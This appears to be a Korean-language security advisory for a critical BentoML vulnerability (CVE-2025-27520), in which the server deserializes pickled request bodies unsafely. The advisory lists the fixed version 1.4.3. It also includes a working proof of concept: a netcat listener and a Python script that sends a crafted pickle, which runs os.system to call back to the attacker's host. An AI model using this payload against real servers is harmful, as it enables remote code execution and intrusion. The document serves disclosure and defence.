치명취약점
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
GHSA-33xw-247w-6hmc · CVE-2025-27520 · PYSEC-2026-294 · 갱신 2026. 9. 10.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | bentoml | 1.4.3 |
GHSA-33xw-247w-6hmc · CVE-2025-27520 · PYSEC-2026-294 · 갱신 2026. 9. 10.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | bentoml | 1.4.3 |
1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run
bentoml serve
Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234
Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
Remote Code Execution (RCE).